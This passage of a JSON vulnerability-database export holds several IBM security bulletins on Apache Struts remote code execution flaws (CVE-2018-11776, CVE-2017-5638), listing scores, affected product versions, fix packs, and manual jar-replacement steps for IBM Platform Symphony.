"NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-11776"], "modified": "2018-09-28T04:30:01", "id": "B7DFEA0F0D26A9AEA7F776C2117CB1186584920235B808CDC32E52053CB3C6B0", "href": "https://www.ibm.com/support/pages/node/732783", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-02-21T21:46:41", "description": "## Summary\n\nIBM Sterling Order Management uses Apache Struts 2 and is affected by some of the vulnerabilities that exist in Apache Struts 2\n\n## Vulnerability Details\n\n**CVEID:** [CVE-2018-11776](<https://vulners.com/cve/CVE-2018-11776>) \n**DESCRIPTION:** Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by an error when using results with no namespace and its upper action configurations have no wildcard namespace. An attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base Score: 9.8 \nCVSS Temporal Score: See <https://exchange.xforce.ibmcloud.com/vulnerabilities/148694> for the current score \nCVSS Environmental Score*: Undefined \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\nIBM Sterling Selling and Fulfillment Foundation 9.1.0 through 9.5.0 \n\n\n## Remediation/Fixes\n\nThe recommended solution is to apply the security fix pack (SFP) as soon as practical. Please see below for information about the available fixes. \n\n**_Product_**\n\n| \n\n**_Security Fix Pack*_**\n\n| \n\n_Remediation/First Fix_ \n \n---|---|--- \n \nIBM Sterling Selling and Fulfillment Foundation 9.5.0\n\n| \n\n**_9.5.0-SFP3_**\n\n| \n\n[Fix Central](<http://www.ibm.com/support/fixcentral/options>)**_ \\- Select appropriate VRMF_** \n \nIBM Sterling Selling and Fulfillment Foundation 9.4.0\n\n| \n\n**_9.4.0-SFP4_**\n\n| \n\n[Fix Central](<http://www.ibm.com/support/fixcentral/options>)**_ \\- Select appropriate VRMF_** \n \nIBM Sterling Selling and Fulfillment Foundation 9.3.0\n\n| \n\n**_9.3.0-SFP6_**\n\n| \n\n[Fix Central](<http://www.ibm.com/support/fixcentral/options>)**_ \\- Select appropriate VRMF_** \n \nIBM Sterling Selling and Fulfillment Foundation 9.2.1\n\n| \n\n**_9.2.1- SFP7_**\n\n| \n\n[Fix Central](<http://www.ibm.com/support/fixcentral/options>)**_ \\- Select appropriate VRMF _** \n \nIBM Sterling Selling and Fulfillment Foundation 9.2.0\n\n| \n\n**_9.2.0- SFP7_**\n\n| \n\n[Fix Central](<http://www.ibm.com/support/fixcentral/options>)**_ \\- Select appropriate VRMF _** \n \nIBM Sterling Selling and Fulfillment Foundation 9.1.0\n\n| \n\n**_9.1.0- SFP7_**\n\n| \n\n[Fix Central](<http://www.ibm.com/support/fixcentral/options>)**_ \\- Select appropriate VRMF _** \n \n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.1, "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2018-10-17T15:25:01", "type": "ibm", "title": "Security Bulletin: Apache Struts Vulnerability Can Affect IBM Sterling Order Management (CVE-2018-11776)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-11776"], "modified": "2018-10-17T15:25:01", "id": "20D334DF630C3C7B5490CC97E9EB2E76B4108FD56753DB19039AF6E0DE79CB63", "href": "https://www.ibm.com/support/pages/node/730273", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-02-21T21:44:34", "description": "## Summary\n\nThere is a vulnerability in Apache Struts which the IBM FlashSystem\u2122 V840 is susceptible. An exploit of that vulnerability (CVE-2018-11776) could make the system susceptible to attacks which could allow an attacker to execute arbitrary code on the system.\n\n## Vulnerability Details\n\n**CVEID:** [CVE-2018-11776](<https://vulners.com/cve/CVE-2018-11776>) \n**DESCRIPTION:** Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by an error when using results with no namespace and its upper action configurations have no wildcard namespace. An attacker could exploit this vulnerability to execute arbitrary code on the system. \nCVSS Base Score: 9.8 \nCVSS Temporal Score: See <https://exchange.xforce.ibmcloud.com/vulnerabilities/148694> for the current score \nCVSS Environmental Score*: Undefined \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\n## Affected Products and Versions\n\nStorage Node machine type and models (MTMs) affected:9840-AE1 and 9843-AE1\n\nController Node MTMs affected: 9846-AC0, 9848-AC0, 9846-AC1, and 9848-AC1\n\nSupported storage node code versions which are affected\n\n * VRMFs prior to 1.4.8.1\n * VRMFs prior to 1.5.2.1\n\nSupported controller node code versions which are affected\n\n * VRMFs prior to 7.8.1.8\n * VRMFs prior to 8.1.3.4\n\n## Remediation/Fixes\n\nMTMs | VRMF | APAR | Remediation/First Fix \n---|---|---|--- \n \n**Storage nodes**:\n\n9846-AE1 & 9848-AE1\n\n**Controller nodes**:\n\n9846-AC0, 9846-AC1, 9848-AC0, & 9848-AC1\n\n| \n\nCode fixes are now available, the minimum VRMF containing the fix depending on the code stream:\n\n_Fixed Code VRMF_\n\n1.5 stream: 1.5.2.1\n\n1.4 stream: 1.4.8.1\n\n_Controller Node VRMF_\n\n8.1 stream: 8.1.3.4\n\n7.8 stream: 7.8.1.8\n\n| N/A | FlashSystem V840 fixes for storage node are available @ IBM's Fix Central \n \n## Workarounds and Mitigations\n\nNone.\n\n## ", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.1, "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2019-02-18T15:05:01", "type": "ibm", "title": "Security Bulletin: A vulnerability in Apache Struts affects the IBM FlashSystem V840", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-11776"], "modified": "2019-02-18T15:05:01", "id": "47D48C5A9F3802E168F3775B67FEF0A4B25692C1BE0EB29698F35ECDF8F0CD7B", "href": "https://www.ibm.com/support/pages/node/735023", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-02-21T05:52:33", "description": "## Summary\n\nIBM Sterling Order Management use Apache Struts 2 and is affected by some of the vulnerabilities that exist in Apache Struts 2\n\n## Vulnerability Details\n\n**CVEID:** [_CVE-2017-5638_](<https://vulners.com/cve/CVE-2017-5638>) \n**DESCRIPTION:** Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by an error when performing a file upload based on Jakarta Multipart parser. An attacker could exploit this vulnerability using a malicious Content-Type value to execute arbitrary code on the system. \nCVSS Base Score: 7.3 \nCVSS Temporal Score: See [_https://exchange.xforce.ibmcloud.com/vulnerabilities/122776_](<https://exchange.xforce.ibmcloud.com/vulnerabilities/122776>) for the current score \nCVSS Environmental Score*: Undefined \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L)\n\n## Affected Products and Versions\n\nIBM Sterling Selling and Fulfillment Foundation 9.1.0 \nIBM Sterling Selling and Fulfillment Foundation 9.2.0 \nIBM Sterling Selling and Fulfillment Foundation 9.2.1 \nIBM Sterling Selling and Fulfillment Foundation 9.3.0 \nIBM Sterling Selling and Fulfillment Foundation 9.4.0 \nIBM Sterling Selling and Fulfillment Foundation 9.5.0\n\n## Remediation/Fixes\n\nThe recommended solution is to apply the security fix pack (SFP) as soon as practical. Please see below for information about the available fixes. \n\n**_Product_**| **_Security Fix Pack*_**| _Remediation/First Fix_ \n---|---|--- \nIBM Sterling Selling and Fulfillment Foundation 9.5.0| **_9.5.0-SFP2_**| [_http://www-933.ibm.com/support/fixcentral/options_](<http://www-933.ibm.com/support/fixcentral/options>) \n \n**_Select appropriate VRMF_** \nIBM Sterling Selling and Fulfillment Foundation 9.4.0| **_9.4.0-SFP3_**| [_http://www-933.ibm.com/support/fixcentral/options_](<http://www-933.ibm.com/support/fixcentral/options>) \n \n**_Select appropriate VRMF_** \nIBM Sterling Selling and Fulfillment Foundation 9.3.0| **_9.3.0-SFP5_**| [_http://www-933.ibm.com/support/fixcentral/options_](<http://www-933.ibm.com/support/fixcentral/options>) \n \n**_Select appropriate VRMF_** \nIBM Sterling Selling and Fulfillment Foundation 9.2.1| **_9.2.1- SFP6_**| [_http://www-933.ibm.com/support/fixcentral/options_](<http://www-933.ibm.com/support/fixcentral/options>) \n \n**_Select appropriate VRMF _** \nIBM Sterling Selling and Fulfillment Foundation 9.2.0| **_9.2.0- SFP6_**| [_http://www-933.ibm.com/support/fixcentral/options_](<http://www-933.ibm.com/support/fixcentral/options>) \n \n**_Select appropriate VRMF _** \nIBM Sterling Selling and Fulfillment Foundation 9.1.0| **_9.1.0- SFP6_**| [_http://www-933.ibm.com/support/fixcentral/options_](<http://www-933.ibm.com/support/fixcentral/options>) \n \n**_Select appropriate VRMF _** \n \n## Workarounds and Mitigations\n\nNone\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2018-06-16T20:09:19", "type": "ibm", "title": "Security Bulletin: IBM Sterling Order Management is affected by a vulnerability (CVE-2017-5638)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2018-06-16T20:09:19", "id": "71763DB8BA3B87C5175E4ED1BF88B5F20D4D7107BB02006612C8229371E7C9F4", "href": "https://www.ibm.com/support/pages/node/558281", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-02-13T09:36:02", "description": "## Summary\n\nA vulnerability in the Apache Struts component affects the Service Assistant GUI of Storwize V7000 Unified allowing arbitrary code execution. The Command Line Interface is unaffected.\n\n## Vulnerability Details\n\n**CVEID:** [_CVE-2017-5638_](<https://vulners.com/cve/CVE-2017-5638>)** \nDESCRIPTION:** Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by an error when performing a file upload based on Jakarta Multipart parser. An attacker could exploit this vulnerability using a malicious Content-Type value to execute arbitrary code on the system. \nCVSS Base Score: 7.3 \nCVSS Temporal Score: See [_https://exchange.xforce.ibmcloud.com/vulnerabilities/122776_](<https://exchange.xforce.ibmcloud.com/vulnerabilities/122776>) for the current score \nCVSS Environmental Score*: Undefined \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) \n\n## Affected Products and Versions\n\nIBM Storwize V7000 Unified \nThe product is affected when running code releases 1.5.x and 1.6.0.0 to 1.6.2.1\n\n## Remediation/Fixes\n\nA fix for these issues is in version 1.6.2.2 of IBM Storwize V7000 Unified. Version 1.5 is end of service. Customers running on this release of IBM Storwize V7000 Unified can upgrade to v1.6.2.2 for a fix. \n \n[_Latest Storwize V7000 Unified Software_](<http://www-01.ibm.com/support/docview.wss?uid=ssg1S1003918&myns=s028&mynp=OCST5Q4U&mync=E>) \n \nPlease contact IBM support for assistance in upgrading your system.\n\n## Workarounds and Mitigations\n\nAlthough IBM recommends that you install a level of code with a fix for this vulnerability, you can mitigate, although not eliminate, your risk until you have done so by ensuring that all users who have access to the system are authenticated by another security system such as a firewall.\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2018-06-18T00:34:31", "type": "ibm", "title": "Security Bulletin:Vulnerability in Apache Struts affects Storwize V7000 Unified (CVE-2017-5638)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2018-06-18T00:34:31", "id": "0766EE3C620AAAF614D24B4B93352C6C94F10148776C7854787A45858D29E32F", "href": "https://www.ibm.com/support/pages/node/697609", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-06-23T17:45:58", "description": "## Summary\n\nA vulnerability in the Apache Struts component affects the Service Assistant GUI of SAN Volume Controller, Storwize family and FlashSystem V9000 products allowing arbitrary code execution. The Command Line Interface is unaffected.\n\n## Vulnerability Details\n\n**CVEID:** [_CVE-2017-5638_](<https://vulners.com/cve/CVE-2017-5638>)** \nDESCRIPTION:** Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by an error when performing a file upload based on Jakarta Multipart parser. An attacker could exploit this vulnerability using a malicious Content-Type value to execute arbitrary code on the system. \nCVSS Base Score: 7.3 \nCVSS Temporal Score: See [_https://exchange.xforce.ibmcloud.com/vulnerabilities/122776_](<https://exchange.xforce.ibmcloud.com/vulnerabilities/122776>) for the current score \nCVSS Environmental Score*: Undefined \nCVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L) \n\n## Affected Products and Versions\n\nIBM SAN Volume Controller \nIBM Storwize V7000 \nIBM Storwize V5000 \nIBM Storwize V3700 \nIBM Storwize V3500 \nIBM FlashSystem V9000 \n \nAll products are affected when running supported releases 7.1 to 7.8. For unsupported versions of the above products, IBM recommends upgrading to a fixed, supported version of the product.\n\n## Remediation/Fixes\n\nIBM recommends that you fix this vulnerability by upgrading affected versions of IBM SAN Volume Controller, IBM Storwize V7000, V5000, V3700 and V3500 to the following code levels or higher: \n \n7.6.1.8 \n7.7.1.6 \n7.8.1.0 \n \n[_Latest SAN Volume Controller Code_](<http://www-01.ibm.com/support/docview.wss?rs=591&uid=ssg1S1001707>) \n[_Latest Storwize V7000 Code_](<http://www-01.ibm.com/support/docview.wss?uid=ssg1S1003705>) \n[_Latest Storwize V5000 Code_](<http://www-01.ibm.com/support/docview.wss?uid=ssg1S1004336>) \n[_Latest Storwize V3700 Code_](<http://www-01.ibm.com/support/docview.wss?uid=ssg1S1004172>) \n[_Latest Storwize V3500 Code_](<http://www-01.ibm.com/support/docview.wss?uid=ssg1S1004171>) \n \nFor IBM FlashSystem V9000, upgrade to the following code levels or higher: \n \n7.6.1.8 \n7.7.1.6 \n7.8.1.0 \n \n[_Latest FlashSystem V9000 Code_](<https://www-945.ibm.com/support/fixcentral/swg/selectFixes?parent=Flash%2Bhigh%2Bavailability%2Bsystems&product=ibm/StorageSoftware/IBM+FlashSystem+V9000&release=All&platform=All&function=all>)\n\n## Workarounds and Mitigations\n\nAlthough IBM recommends that you install a level of code with a fix for this vulnerability, you can mitigate, although not eliminate, your risk until you have done so by ensuring that all users who have access to the system are authenticated by another security system such as a firewall.\n\n## ", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2023-03-29T01:48:02", "type": "ibm", "title": "Security Bulletin: Vulnerability in Apache Struts affects SAN Volume Controller, Storwize family and FlashSystem V9000 products (CVE-2017-5638)", "bulletinFamily": "software", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-5638"], "modified": "2023-03-29T01:48:02", "id": "D769235D102AD19A73D51C968FFD8889D9656A19C29D4BE9C66233A668FC8B7A", "href": "https://www.ibm.com/support/pages/node/697171", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-02-21T21:52:11", "description": "## Summary\n\nA Security vulnerability relating to remote code execution CVE-2017-5638 (S2-045) has been reported against Apache Struts 2, which IBM Platform Symphony uses as a framework for its WEBGUI service. The Struts 2 package version that is vulnerable to these issues is included in several past versions of IBM Platform Symphony Advanced Edition and Developer Edition. Struts 2.3.32 addresses this vulnerability and can be applied through the manual steps detailed in the Remediation section.\n\n## Vulnerability Details\n\n**CVEID:** [_CVE-2017-5638_](<https://vulners.com/cve/CVE-2017-5638>)\n\n**DESCRIPTION:** Apache Struts could allow a remote attacker to execute arbitrary code on the system, caused by an error when performing a file upload based on Jakarta Multipart parser. An attacker could exploit this vulnerability using a malicious Content-Type value to execute arbitrary code on the system. \n\n**CVSS Base Score:** **7.3**\n\n**CVSS Temporal Score: See **[**_https://exchange.xforce.ibmcloud.com/vulnerabilities/122776_**](<https://exchange.xforce.ibmcloud.com/vulnerabilities/122776>) for the current score \n\n**CVSS 3.0 Environmental Score*:** **Undefined**\n\n**CVSS Vector:** **(CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L)**\n\n## Affected Products and Versions\n\nIBM Platform Symphony **6.1.1, 7.1 Fix Pack 1**, and** 7.1.1**,** **and** **IBM Spectrum Symphony** 7.1.2** and **7.2**. All OS editions, including Linux and Windows, are affected. The remediation steps for Linux are provided in this document. For Windows, use the Linux steps as a reference and find the correct path for patching.\n\n## Remediation/Fixes\n\n1\\. For IBM Platform Symphony 6.1.1 or 7.1 Fix Pack 1, download the appropriate fix and follow the instructions in the readme file to upgrade to Struts version 2.3.32. \n\n**Product version**| **Fix ID** \n---|--- \nIBM Platform Symphony **6.1.1**| [_sym-6.1.1-build446371_](<http://www-933.ibm.com/support/fixcentral/swg/selectFixes?parent=Platform%2BComputing&product=ibm/Other+software/Platform+Symphony&release=All&platform=All&function=fixId&fixids=sym-6.1.1-build446371&includeSupersedes=0>) \nIBM Platform Symphony **7.1 Fix Pack 1**| [_sym-7.1-build446807_](<http://www-933.ibm.com/support/fixcentral/swg/selectFixes?parent=Platform%2BComputing&product=ibm/Other+software/Platform+Symphony&release=All&platform=All&function=fixId&fixids=sym-7.1-build446807&includeSupersedes=0>) \n2\\. For IBM Platform Symphony 7.1.1 and higher, follow the steps to update to Struts version 2.3.32 on Linux hosts: 2.1 Log on to each management host in the cluster and download the struts-2.3.32-lib.zip package from the following location: [](<http://archive.apache.org/dist/struts/2.3.32/struts-2.3.32-lib.zip>)[_http://archive.apache.org/dist/struts/2.3.32/struts-2.3.32-lib.zip_](<http://archive.apache.org/dist/struts/2.3.32/struts-2.3.32-lib.zip>) 2.2 Stop the Platform Management Console service (WEBGUI): > egosh service stop WEBGUI 2.3 For backup purposes, move the following files, which will be replaced by new files: **\\- For IBM Platform Symphony 7.1.1:** \n> mkdir -p /tmp/guibackup/symgui \n> mkdir -p /tmp/guibackup/perfgui \n> mv $EGO_TOP/gui/3.3/lib/commons-fileupload-1.3.1.jar /tmp/guibackup/ \n> mv $EGO_TOP/gui/3.3/lib/commons-io-1.2.jar /tmp/guibackup/ \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/commons-fileupload-*.jar /tmp/guibackup/symgui/ \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/org.apache.commons-io-*.jar /tmp/guibackup/symgui/ \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/commons-lang3-*.jar /tmp/guibackup/symgui/ \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/freemarker-*.jar /tmp/guibackup/symgui/ \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/javassist-*.jar /tmp/guibackup/symgui/ \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/ognl-*.jar /tmp/guibackup/symgui/ \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/struts2-core-*.jar /tmp/guibackup/symgui/ \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/struts2-json-plugin-*.jar /tmp/guibackup/symgui/ \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/struts2-spring-plugin-*.jar /tmp/guibackup/symgui/ \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/xstream-*.jar /tmp/guibackup/symgui/ \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/xwork-core-*.jar /tmp/guibackup/symgui/ \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/velocity-1.5.jar /tmp/guibackup/symgui/ \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/perf/3.3/perfgui/WEB-INF/lib/freemarker-*.jar /tmp/guibackup/perfgui/ \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/perf/3.3/perfgui/WEB-INF/lib/ognl-*.jar /tmp/guibackup/perfgui/ \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/perf/3.3/perfgui/WEB-INF/lib/struts2-core-*.jar /tmp/guibackup/perfgui/ \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/perf/3.3/perfgui/WEB-INF/lib/xwork-core-*.jar /tmp/guibackup/perfgui/ \n**\\- For IBM Spectrum Symphony 7.1.2 and 7.2:** \n> mkdir -p /tmp/guibackup/egogui \n> mkdir -p /tmp/guibackup/perfgui \n> mv $EGO_TOP/gui/$EGO_VERSION/lib/commons-fileupload-*.jar /tmp/guibackup/ \n> mv $EGO_TOP/gui/$EGO_VERSION/lib/commons-io-*.jar /tmp/guibackup/ \n> mv $EGO_TOP/gui/$EGO_VERSION/lib/commons-lang3-*.jar /tmp/guibackup/ \n> mv $EGO_TOP/gui/$EGO_VERSION/lib/org.apache.commons-io-*.jar /tmp/guibackup/ \n> mv $EGO_TOP/gui/$EGO_VERSION/lib/freemarker-*.jar /tmp/guibackup/ \n> mv $EGO_TOP/gui/$EGO_VERSION/lib/javassist-*.jar /tmp/guibackup/ \n> mv $EGO_TOP/gui/$EGO_VERSION/lib/ognl-*.jar /tmp/guibackup/ \n> mv $EGO_TOP/gui/$EGO_VERSION/lib/struts2-core-*.jar /tmp/guibackup/ \n> mv $EGO_TOP/gui/$EGO_VERSION/lib/struts2-json-plugin-*.jar /tmp/guibackup/ \n> mv $EGO_TOP/gui/$EGO_VERSION/lib/struts2-spring-plugin-*.jar /tmp/guibackup/ \n> mv $EGO_TOP/gui/$EGO_VERSION/lib/xwork-core-*.jar /tmp/guibackup/ \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/ego/$EGO_VERSION/platform/WEB-INF/lib/xstream-*.jar /tmp/guibackup/egogui/ \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/ego/$EGO_VERSION/platform/WEB-INF/lib/velocity-1.5.jar /tmp/guibackup/egogui/ \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/perf/$EGO_VERSION/perfgui/WEB-INF/lib/freemarker-*.jar /tmp/guibackup/perfgui \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/perf/$EGO_VERSION/perfgui/WEB-INF/lib/ognl-*.jar /tmp/guibackup/perfgui \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/perf/$EGO_VERSION/perfgui/WEB-INF/lib/struts2-core-*.jar /tmp/guibackup/perfgui \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/perf/$EGO_VERSION/perfgui/WEB-INF/lib/xwork-core-*.jar /tmp/guibackup/perfgui \n> mkdir -p /tmp/guibackup/perfguiv5 (**For 7.2 Only**) \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/perf/$EGO_VERSION/perfguiv5/WEB-INF/lib/ognl-*.jar /tmp/guibackup/perfguiv5 (**For 7.2 Only**) \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/perf/$EGO_VERSION/perfguiv5/WEB-INF/lib/freemarker-*.jar /tmp/guibackup/perfguiv5 (**For 7.2 Only**) \n> mv $EGO_TOP/wlp/usr/servers/gui/apps/perf/$EGO_VERSION/perfguiv5/WEB-INF/lib/xwork-core-*.jar /tmp/guibackup/perfguiv5 (**For 7.2 Only**) 2.4 On each management host, unzip the struts-2.3.32-lib.zip package and copy the following files to your cluster directory: **\\- For IBM Platform Symphony 7.1.1:** \n> unzip -u struts-2.3.32-lib.zip \n> cd struts-2.3.32/lib/ \n> cp commons-fileupload-1.3.2.jar $EGO_TOP/gui/3.3/lib/ \n> cp commons-io-2.2.jar $EGO_TOP/gui/3.3/lib/ \n> cp commons-lang3-3.2.jar $EGO_TOP/gui/3.3/lib/ \n> cp commons-fileupload-1.3.2.jar $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/ \n> cp commons-io-2.2.jar $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/ \n> cp commons-lang3-3.2.jar $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/ \n> cp freemarker-2.3.22.jar $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/ \n> cp javassist-3.11.0.GA.jar $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/ \n> cp ognl-3.0.19.jar $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/ \n> cp struts2-core-2.3.32.jar $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/ \n> cp struts2-json-plugin-2.3.32.jar $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/ \n> cp struts2-spring-plugin-2.3.32.jar $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/ \n> cp xstream-1.4.8.jar $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/ \n> cp xwork-core-2.3.32.jar $EGO_TOP/wlp/usr/servers/gui/apps/soam/7.1.1/symgui/WEB-INF/lib/ \n> cp velocity-1.6.4.jar 